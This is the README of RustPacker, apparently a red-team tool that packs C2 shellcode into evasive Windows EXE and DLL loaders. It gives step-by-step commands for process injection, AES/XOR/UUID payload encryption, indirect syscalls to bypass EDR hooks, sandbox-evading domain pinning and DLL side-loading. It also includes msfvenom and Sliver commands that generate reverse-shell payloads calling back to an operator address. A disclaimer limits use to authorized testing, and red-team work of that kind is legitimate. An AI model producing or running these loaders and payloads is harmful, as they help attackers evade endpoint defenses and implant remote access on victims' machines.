Turn raw shellcode into evasive Windows binaries β in one command, from any OS.
Designed for authorized penetration testers and red team operators.
Shellcode is a small blob of machine code that a C2 framework (Metasploit, Sliver, Cobalt Strikeβ¦) generates as a payload. By itself it's just bytes β it needs a loader to run it on a target Windows machine.
RustPacker is that loader generator. It takes your shellcode, wraps it in a Rust program that handles:
- Encryption β so the payload looks like random bytes on disk and in memory
- Injection β so the code is mapped into a Windows process and executed
- Evasion β so EDR/AV sensors are less likely to catch it
The result is a .exe or .dll that you deliver to your target during an authorized engagement.
Glossary for newcomers
Term Meaning Shellcode Raw machine-code payload produced by a C2 framework Loader / Packer Program that decrypts and executes shellcode at runtime EDR / AV Endpoint Detection & Response / Anti-Virus β security sensors on the target host Injection Technique used to map and run code inside a Windows process Syscall Direct call to the Windows kernel, bypassing user-mode hooks placed by EDRs C2 Framework Command & Control software used to manage implants (Metasploit, Sliver, etc.)
- Multiple Injection Templates β CRT, APC, Fibers, EarlyCascadeβ¦
- Encryption β XOR, AES-256, UUID encoding
- Syscall Evasion β indirect syscalls to bypass EDR user-mode hooks
- EXE & DLL output β including DLL proxying / side-loading
- Sandbox Evasion β domain pinning prevents detonation in analysis sandboxes
- Cross-Platform Build β works on Linux, Windows, macOS via Podman or Docker
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β YOUR HOST (any OS) β
β β
β shellcode.raw βββΊ RustPacker βββΊ Rust project (generated) β
β β β
β encrypt + embed β
β shellcode bytes β
β β β
β βΌ β
β βββββββββββββββββββββββββββ β
β β Container (Linux) β β
β β cargo build β β
β β x86_64-pc-windows-gnu β β
β ββββββββββββββ¬βββββββββββββ β
β β β
β βΌ β
β payload.exe / payload.dll β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
RustPacker works in two stages:
- Assembly (on your host): Reads your shellcode, encrypts it, and generates a complete Rust project from the selected template.
- Compilation (in a container): Automatically detects Podman or Docker and cross-compiles the project to a Windows PE binary using mingw inside a Linux container. Falls back to local
cargo buildif no container runtime is available.
You can work from any OS β the heavy lifting always happens inside a reproducible Linux container.
Other platforms: see the macOS instructions or the Windows accordion below.
# Ubuntu / Debian
sudo apt install podman
# Fedora / RHEL
sudo dnf install podmanVerify: podman --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f DockerfileThis step is done once. The image is then cached locally.
- Generate a test shellcode with msfvenom (a harmless
MessageBoxpopup β safe to use on your own machine):
msfvenom -p windows/x64/messagebox TEXT="RustPacker works!" TITLE="Test" -f raw -o shared/test.raw- Pack it:
podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker \
-f shared/test.raw -i ntcrt -e aes -b exe -t notepad.exe- Find your binary:
[+] Source binary has been renamed to: "shared/output_1234567890/target/x86_64-pc-windows-gnu/release/AbCdEfGh.exe"
The compiled .exe is inside shared/output_<timestamp>/target/x86_64-pc-windows-gnu/release/.
Add this to your ~/.bashrc or ~/.zshrc to avoid typing the full podman run command every time:
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'Then use it directly:
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exeπͺ Windows setup instructions
Option A β Podman Desktop (Recommended):
- Download and install Podman Desktop
- Launch Podman Desktop and follow the guided setup to initialize a Podman machine
- Verify:
podman --version
Option B β Docker Desktop:
- Download and install Docker Desktop
- Enable WSL 2 backend during installation (recommended)
- Verify:
docker --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile# Place your shellcode in the shared folder
copy C:\path\to\payload.raw shared\
# PowerShell
podman run --rm -v ${PWD}/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker `
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exe
# cmd.exe
podman run --rm -v %cd%/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker ^
-f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exePowerShell alias:
function rustpacker { podman run --rm -v "${PWD}/shared:/usr/src/RustPacker/shared:z" rustpacker RustPacker @args }π macOS setup instructions
brew install podman
podman machine init
podman machine start
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exeπ¦ Alternative: Native Mode (Rust toolchain required)
If you already have Rust installed, you can run RustPacker directly without building the container first. It will automatically detect Podman or Docker and use a container only for cross-compilation:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release
# Linux / macOS
cargo run -- -f shared/your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exe
# Windows (PowerShell)
cargo run -- -f shared\your_shellcode.raw -i ntcrt -e aes -b exe -t notepad.exeThe first run builds the rustpacker-builder image once. Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds.
Not sure which -i value to use? Answer these two questions:
| I want to⦠| Recommended template |
|---|---|
| Inject into another process (e.g. notepad, explorer) | ntcrt (stealthy) or syscrt (max evasion) |
| Run inside the current process (self-injection) | ntapc or ntfiber |
| Run as a DLL that fires on load | ntapc, winfiber, ntfiber, or sysfiber |
| Maximum syscall evasion | syscrt (remote) or sysfiber (self) |
| Minimal dependencies, quick test | wincrt (remote) or winfiber (self) |
| Shim engine / EarlyCascade technique | earlycascade |
These inject shellcode into a remote process. Default target: dllhost.exe.
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
wincrt |
High (Windows-rs) | β | β | CreateRemoteThread via the official Windows crate |
ntcrt |
Low (ntapi) | β | β | NtCreateThreadEx via dynamic NT API resolution |
syscrt |
Syscall | β | β | NtCreateThreadEx via indirect syscalls |
earlycascade |
Low (winapi) | β | β | EarlyCascade injection via shim engine callback hijacking |
These execute shellcode within the current process.
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
ntapc |
Low (ntapi) | β | β | Queue APC to current thread via dynamic NT API resolution |
winfiber |
High (windows-sys) | β | β | Fiber-based execution via Windows API |
ntfiber |
Low (ntapi + windows-sys) | β | β | Fiber-based execution via dynamic NT API resolution |
sysfiber |
Syscall (ntapi + windows-sys) | β | β | Fiber-based execution via indirect syscalls |
Usage: RustPacker -f <FILE> -b <FORMAT> -i <TEMPLATE> -e <ENCRYPTION> [OPTIONS]
Required:
-f <FILE> Path to the raw shellcode file
-i <TEMPLATE> Injection template: ntapc, ntcrt, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade
-e <ENCRYPTION> Encryption method: xor, aes, uuid
-b <FORMAT> Output binary format: exe, dll
Optional:
-t <PROCESS> Target process to inject into (default: dllhost.exe, CRT templates only)
-s <DOMAIN> Domain pinning: only execute on the specified domain name
-p <DLL_PATH> DLL proxying: path to legitimate DLL to proxy, placed in shared/ (requires -b dll, self-injection templates only)
-o <PATH> Custom output path for the resulting binary
-h Print help
-V Print version
Metasploit (msfvenom):
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.rawSliver:
# In Sliver console
generate --mtls 192.168.1.100:443 --format shellcode --os windows --evasion
# Then copy the generated .bin file to the shared/ folderThe examples below use the
rustpackeralias defined in the Quick Start section. Replace it with the fullpodman run ...command if you haven't set up the alias.
Basic EXE with AES encryption (remote injection into notepad):
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -t notepad.exeDLL with XOR encryption (self-injection via APC):
rustpacker -f shared/payload.raw -i ntapc -e xor -b dllUsing indirect syscalls (remote injection into explorer):
rustpacker -f shared/payload.raw -i syscrt -e aes -b exe -t explorer.exeUUID encoding (shellcode hidden as UUID strings):
rustpacker -f shared/payload.raw -i ntcrt -e uuid -b exe -t notepad.exeWith domain pinning (only detonates on MYDOMAIN):
rustpacker -f shared/payload.raw -i winfiber -e aes -b exe -s MYDOMAINCustom output path:
rustpacker -f shared/payload.raw -i ntcrt -e aes -b exe -o shared/my_binary.exeDLL proxying (side-loading):
# 1. Copy the DLL you want to proxy into the shared/ folder (required for container access)
cp /mnt/c/Windows/System32/version.dll shared/ # from WSL
# or: copy C:\Windows\System32\version.dll shared\ # from Windows
# 2. Proxy version.dll β compatible with self-injection templates only (ntapc, winfiber, ntfiber, sysfiber)
rustpacker -f shared/payload.raw -i ntfiber -e aes -b dll -p shared/version.dllThe proxy DLL forwards all exports to the renamed original (version_orig.dll) and executes your shellcode on load via DllMain. Deploy by placing the proxy DLL alongside the target application with the original DLL renamed (e.g., version.dll β version_orig.dll).
Note: The
-ppath must be accessible from within the container. Since onlyshared/is volume-mounted, always place the DLL to proxy insideshared/.
RustPacker implements several evasion techniques:
- No RWX Memory: Memory is allocated as RW, written, then re-protected as RX only β never RWX. This eliminates a major behavioral detection signal used by EDR/AV.
- Dynamic API Resolution (
nt*templates): NT API functions are resolved at runtime viaGetProcAddresswith XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table. - Indirect Syscalls: Bypass user-mode hooks (
syscrt,sysfibertemplates) - Payload Encryption: XOR encoding, AES-256-CBC encryption, or UUID-based encoding
- Process Injection: Hide execution in legitimate processes
- Domain Pinning: Only detonate on a specific domain (sandbox evasion)
- Silent Failures: No descriptive error messages in the binary β all failures exit silently to avoid IoC string detection
- Template Variety: Multiple execution methods to avoid static signatures
- Rust Compilation: Native binaries with stripped symbols and LTO
β οΈ Breaking Change: Since RWX (PAGE_EXECUTE_READWRITE) is no longer used, self-modifying / dynamic shellcode is not supported. Only static shellcode payloads are compatible. Most C2 frameworks (Metasploit, Sliver, Cobalt Strike, Havoc) generate static shellcode by default β this should not affect typical usage.
If you prefer to compile without containers (Linux only):
# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnugit clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -f shared/payload.raw -i ntcrt -e xor -b exe -t explorer.exeWhen no container runtime is detected, RustPacker falls back to local compilation automatically.
We recommend using Podman instead of Docker for security reasons:
- Rootless containers by default
- No daemon running as root
- Better security isolation
Contributions are welcome! Here's how you can help:
- Code Review: Review the codebase for improvements
- Issues: Report bugs or request features
- Templates: Contribute new injection techniques
- Documentation: Improve documentation and examples
- Multiple injection templates
- XOR, AES, and UUID encryption/encoding
- Indirect syscalls support
- EXE and DLL output formats
- Docker containerization
- Domain pinning, thanks to m4r1u5-p0p !
- Indirect syscalls for fiber templates
- Cross-platform support (Linux, Windows, macOS)
- String encryption (litcrypt)
- Check DLL support for all templates
- Add EarlyCascade injection template
- Add DLL proxying support
- prepare integration with mythic c2
- 0xNinjaCyclone & Karkas - EarlyCascade injection technique
- memN0ps - Inspiration and guidance
- rust-syscalls - Syscall implementation
- trickster0 - OffensiveRust repository
- Maldev Academy - Fiber execution techniques
- craiyon - Logo generation
This tool is provided for educational and authorized penetration testing purposes only.
- Usage against targets without prior mutual consent is illegal
- Users are responsible for complying with all applicable laws
- Developers assume no liability for misuse or damages
- Only use in authorized environments with proper permission
Use responsibly and ethically.
Made with β€οΈ for the cybersecurity community
Report Issues β’ Contribute β’ Documentation
